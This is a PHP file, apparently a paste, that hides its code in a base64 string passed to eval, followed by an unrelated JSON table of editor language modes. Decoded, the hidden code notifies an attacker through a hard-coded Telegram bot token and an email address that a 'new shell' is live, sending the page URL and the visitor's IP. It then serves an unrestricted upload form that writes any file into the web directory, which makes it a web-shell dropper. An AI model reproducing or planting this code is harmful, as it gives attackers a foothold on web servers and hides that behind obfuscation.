<?php
$tag="PD9waHANCiR0ZWxlZ3JhbV9pZCA9ICc2NTQ5NDUyODk4JzsNCiR0ZWxlZ3JhbV9rZXkgPSAnNjg1MDYxNjQ5OTpBQUhlZEIxUXRGN1NzZS1TRDRreUZqV1FXR1pBS2ZIWGZlTSc7DQoNCmZ1bmN0aW9uIHNlbmRfb3Zlcl90ZWxlZ3JhbSgkYXBpVG9rZW4sJGNoYXRpZCwkbWVzc2FnZSkgew0KICAgICRkYXRhID0gWw0KICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRpZCwNCiAgICAgICAgJ3RleHQnID0+ICRtZXNzYWdlDQogICAgXTsNCiAgICAkcmVzcG9uc2UgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRhcGlUb2tlbi9zZW5kTWVzc2FnZT8iIC4gIGh0dHBfYnVpbGRfcXVlcnkoJGRhdGEpICk7DQp9DQoNCiR0dWp1YW5tYWlsID0gJ2VsZmkucmVzMTAwMEBnbWFpbC5jb20nOw0KJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQokcGVzYW5fYWxlcnQgPSAiZml4ICR4X3BhdGggOnAgKklQIEFkZHJlc3MgOiBbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSI7DQokbWVzc2FnZSA9ICJOZXcgU2hlbGwgZnJvbSBbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXVxuU2hlbGwgdXJsIC0+ICR4X3BhdGgiOw0KDQpzZW5kX292ZXJfdGVsZWdyYW0oJHRlbGVncmFtX2tleSwkdGVsZWdyYW1faWQsJG1lc3NhZ2UpOw0KDQptYWlsKCR0dWp1YW5tYWlsLCAiQ29udGFjdCBNZSIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGJvZHk+DQogIDxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbj0iPD9waHAgZWNobyAkX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iIG1ldGhvZD0iUE9TVCI+DQogICAgPHA+VXBsb2FkIHlvdXIgZmlsZTwvcD4NCiAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZWRfZmlsZSI+PC9pbnB1dD48YnIgLz4NCiAgICA8YnV0dG9uIG5hbWU9VXBsb2FkIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlVwbG9hZCI+PC9idXR0b24+DQogIDwvZm9ybT4NCjwvYm9keT4NCjwvaHRtbD4NCjw/UEhQDQogIGlmIChpc3NldCgkX1BPU1RbJ1VwbG9hZCddKSkgew0KICAgICAgaWYoIWVtcHR5KCRfRklMRVNbJ3VwbG9hZGVkX2ZpbGUnXSkpDQogIHsNCiAgICAkcGF0aCA9ICIuLyI7DQogICAgJHBhdGggPSAkcGF0aCAuIGJhc2VuYW1lKCAkX0ZJTEVTWyd1cGxvYWRlZF9maWxlJ11bJ25hbWUnXSk7DQoNCiAgICBpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXBsb2FkZWRfZmlsZSddWyd0bXBfbmFtZSddLCAkcGF0aCkpIHsNCiAgICAgIGVjaG8gIlRoZSBmaWxlICIuICBiYXNlbmFtZSggJF9GSUxFU1sndXBsb2FkZWRfZmlsZSddWyduYW1lJ10pLg0KICAgICAgIiBoYXMgYmVlbiB1cGxvYWRlZCI7DQogICAgfSBlbHNlew0KICAgICAgICBlY2hvICJUaGVyZSB3YXMgYW4gZXJyb3IgdXBsb2FkaW5nIHRoZSBmaWxlLCBwbGVhc2UgdHJ5IGFnYWluISI7DQogICAgfQ0KICB9DQp9DQo/Pg==";
?>
<?php eval("?>".base64_decode($tag)); ?>
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}